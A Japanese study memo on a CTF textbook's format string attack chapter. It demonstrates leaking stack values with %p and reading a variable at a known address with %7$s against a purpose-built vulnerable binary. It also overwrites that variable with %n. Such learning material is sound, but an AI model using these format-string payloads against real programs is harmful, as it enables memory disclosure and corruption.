セキュリティコンテストチャレンジブック[書式文字列攻撃]

とりあえずメモ。加筆予定

$ gcc -m32 -w -o fsb fsb.c
$ ./fsb
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p
AAAA0x80,0xf7fbcc20,0xffffd854,(nil),(nil),(nil),0x41414141,0x252c7025,0x70252c70
secret = 0x12345678

secret のアドレスを確認

$2 = (<data variable, no debug info> *) 0x804a028 <secret>

以下より抜粋

$ gdb -q fsb
Reading symbols from fsb...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484c0
gdb-peda$ run
Starting program: /media/sf_mnt-host/ctfCharrengeBook/fsb 
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xf7fbc000 --> 0x1a6da8 
ECX: 0xf027baa4 
EDX: 0xffffd7b4 --> 0xf7fbc000 --> 0x1a6da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd788 --> 0x0 
ESP: 0xffffd788 --> 0x0 
EIP: 0x80484c0 (<main+3>: and    esp,0xfffffff0)
[-------------------------------------code-------------------------------------]
   0x80484b8 <frame_dummy+40>:    jmp    0x8048430 <register_tm_clones>
   0x80484bd <main>:  push   ebp
   0x80484be <main+1>:    mov    ebp,esp
=> 0x80484c0 <main+3>: and    esp,0xfffffff0
   0x80484c3 <main+6>:    sub    esp,0xa0
   0x80484c9 <main+12>:   mov    eax,DWORD PTR [ebp+0xc]
   0x80484cc <main+15>:   mov    DWORD PTR [esp+0xc],eax
   0x80484d0 <main+19>:   mov    eax,gs:0x14
[------------------------------------stack-------------------------------------]
00:0000| esp ebp 0xffffd788 --> 0x0 
01:0004|         0xffffd78c --> 0xf7e2ea63 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
02:0008|         0xffffd790 --> 0x1 
03:0012|         0xffffd794 --> 0xffffd824 --> 0xffffd9b3 ("/media/sf_mnt-h"...)
04:0016|         0xffffd798 --> 0xffffd82c --> 0xffffd9db ("XDG_VTNR=7")
05:0020|         0xffffd79c --> 0xf7feacea (add    ebx,0x12316)
06:0024|         0xffffd7a0 --> 0x1 
07:0028|         0xffffd7a4 --> 0xffffd824 --> 0xffffd9b3 ("/media/sf_mnt-h"...)
[------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 1, 0x080484c0 in main ()
gdb-peda$ p secret
$1 = 0x12345678
gdb-peda$ p &secret
$2 = (<data variable, no debug info> *) 0x804a028 <secret>
$ ./fsb # 7番目の値をcharで表示する(失敗)
AAA%7$s
zsh: segmentation fault (core dumped)  ./fsb
$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb
(�xV4 ��
secret = 0x12345678

文字化けしたので、hexdump で確認。

$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb | hexdump -C
00000000  28 a0 04 08 78 56 34 12  20 cc fb f7 0a 73 65 63  |(...xV4. ....sec|
00000010  72 65 74 20 3d 20 30 78  31 32 33 34 35 36 37 38  |ret = 0x12345678|
00000020  0a                                                |.|
00000021

メモリの書き換え(%n でprintf で出力した文字数をメモリに書き込む)

$ echo -e '\x28\xa0\x04\x08%7$n' | ./fsb
(�
secret = 0x4

フォーマット指定子 書き込みバイト数 %n 4バイト %hn 2バイト %hh 1バイト